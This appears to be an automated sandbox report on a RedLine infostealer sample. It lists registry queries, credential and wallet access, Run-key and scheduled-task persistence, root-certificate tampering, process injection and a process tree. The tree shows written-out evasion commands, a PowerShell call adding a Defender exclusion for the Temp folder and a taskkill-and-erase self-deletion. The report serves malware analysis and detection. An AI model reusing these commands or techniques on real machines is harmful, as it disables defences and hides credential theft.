redline | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

Processes:

A8DE.exe6070341.scr5308226.scr4240763.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	A8DE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6070341.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6070341.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5308226.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5308226.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4240763.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4240763.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	A8DE.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Mon20d3b8b752.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Mon20d3b8b752.exe

Loads dropped DLL 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exeMon204014f13870f5e.exeMon20927aab1e5.exeMon206b909958ed4.exeMon20d3b8b752.exeMon20762bc3f6.execmd.execmd.exeMon209c830507d573.execmd.exeMon203f01ac7e6.exeMon2083f8d8970a0b2d.exeMon20927aab1e5.exeMon209c830507d573.execmd.exe09xU.exELzmwAqmV.exeinst1.exe

pid	Process
1376	setup_x86_x64_install.exe
1088	setup_installer.exe
1088	setup_installer.exe
1088	setup_installer.exe
1088	setup_installer.exe
1088	setup_installer.exe
1088	setup_installer.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
628	setup_install.exe
1012	cmd.exe
1012	cmd.exe
1628	cmd.exe
1148	cmd.exe
1628	cmd.exe
1140	cmd.exe
996	cmd.exe
1560	cmd.exe
1560	cmd.exe
1940	cmd.exe
1940	cmd.exe
1744	Mon204014f13870f5e.exe
1744	Mon204014f13870f5e.exe
1696	Mon20927aab1e5.exe
1696	Mon20927aab1e5.exe
1688	Mon206b909958ed4.exe
1688	Mon206b909958ed4.exe
1604	Mon20d3b8b752.exe
1604	Mon20d3b8b752.exe
900	Mon20762bc3f6.exe
900	Mon20762bc3f6.exe
1252	cmd.exe
1252	cmd.exe
1152	cmd.exe
288	Mon209c830507d573.exe
288	Mon209c830507d573.exe
1948	cmd.exe
1872	Mon203f01ac7e6.exe
1872	Mon203f01ac7e6.exe
2000	Mon2083f8d8970a0b2d.exe
2000	Mon2083f8d8970a0b2d.exe
1696	Mon20927aab1e5.exe
288	Mon209c830507d573.exe
1164	Mon20927aab1e5.exe
1164	Mon20927aab1e5.exe
1808	Mon209c830507d573.exe
1808	Mon209c830507d573.exe
892	cmd.exe
2060	09xU.exE
2060	09xU.exE
2428	LzmwAqmV.exe
2428	LzmwAqmV.exe
2428	LzmwAqmV.exe
1604	Mon20d3b8b752.exe
2608	inst1.exe
2608	inst1.exe
2428	LzmwAqmV.exe
2428	LzmwAqmV.exe
2428	LzmwAqmV.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

4301479.scr

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4301479.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

4240763.scrA8DE.exe6070341.scr5308226.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4240763.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	A8DE.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6070341.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5308226.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
13	ip-api.com
38	ipinfo.io
39	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

6070341.scr5308226.scr4240763.scrA8DE.exe

pid	Process
2804	6070341.scr
1516	5308226.scr
2940	4240763.scr
2652	A8DE.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Mon20927aab1e5.exeMon209c830507d573.exeservices64.exe

description	pid	Process	procid_target
PID 1696 set thread context of 1164	1696	Mon20927aab1e5.exe	55
PID 288 set thread context of 1808	288	Mon209c830507d573.exe	54
PID 1868 set thread context of 1224	1868	services64.exe	129

Drops file in Program Files directory 3 IoCs

Processes:

setup.tmp

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-PE97N.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
1616	1604	WerFault.exe	46
3060	2828	WerFault.exe	80

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Mon204014f13870f5e.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
2588	schtasks.exe
2812	schtasks.exe
2844	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
2716	taskkill.exe
2072	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

services64.exeDownFlSetup110.exe

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	services64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	DownFlSetup110.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	DownFlSetup110.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	services64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Mon204014f13870f5e.exepowershell.exe

pid	Process
1744	Mon204014f13870f5e.exe
1744	Mon204014f13870f5e.exe
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1156	powershell.exe
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264
1264

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

WerFault.exeWerFault.exe

pid	Process
1264
1616	WerFault.exe
3060	WerFault.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Mon204014f13870f5e.exe

pid	Process
1744	Mon204014f13870f5e.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

powershell.exetaskkill.exeMon209b3da1556b9a317.exeMon2083f8d8970a0b2d.exeMon20927aab1e5.exeMon209c830507d573.exetaskkill.exe4.exeDownFlSetup110.exeWerFault.exe6312026.scr6070341.scr6993898.scr4240763.scrChrome 5.exeWerFault.exe518A.exeservices64.exeexplorer.exeA8DE.exe

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	2072	taskkill.exe
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	1640	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	2000	Mon2083f8d8970a0b2d.exe
Token: SeDebugPrivilege	1164	Mon20927aab1e5.exe
Token: SeDebugPrivilege	1808	Mon209c830507d573.exe
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	2716	taskkill.exe
Token: SeDebugPrivilege	2860	4.exe
Token: SeDebugPrivilege	2796	DownFlSetup110.exe
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	1616	WerFault.exe
Token: SeDebugPrivilege	2476	6312026.scr
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	2804	6070341.scr
Token: SeDebugPrivilege	2512	6993898.scr
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	2940	4240763.scr
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	3028	Chrome 5.exe
Token: SeDebugPrivilege	3060	WerFault.exe
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeDebugPrivilege	2732	518A.exe
Token: SeDebugPrivilege	1868	services64.exe
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeLockMemoryPrivilege	1224	explorer.exe
Token: SeLockMemoryPrivilege	1224	explorer.exe
Token: SeDebugPrivilege	2652	A8DE.exe
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264

Suspicious use of FindShellTrayWindow 9 IoCs

Processes:

setup.tmp

pid	Process
1264
1264
1628	setup.tmp
1264
1264
1264
1264
1264
1264

Suspicious use of SendNotifyMessage 2 IoCs

Processes:

pid	Process
1264
1264

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exe

description	pid	Process	procid_target
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1376 wrote to memory of 1088	1376	setup_x86_x64_install.exe	27
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 1088 wrote to memory of 628	1088	setup_installer.exe	28
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1540	628	setup_install.exe	30
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1148	628	setup_install.exe	31
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1940	628	setup_install.exe	32
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1560	628	setup_install.exe	33
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1628	628	setup_install.exe	34
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1152	628	setup_install.exe	35
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1708	628	setup_install.exe	36
PID 628 wrote to memory of 1252	628	setup_install.exe	37

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Users\Admin\AppData\Local\Temp\7zS04483806\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS04483806\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Loads dropped DLL
      PID:1148
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1940
    - - C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1688
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon206b909958ed4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS04483806\Mon206b909958ed4.exe" & exit
        6⤵
        
        PID:2580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Mon206b909958ed4.exe" /f
        7⤵
        Kills process with taskkill
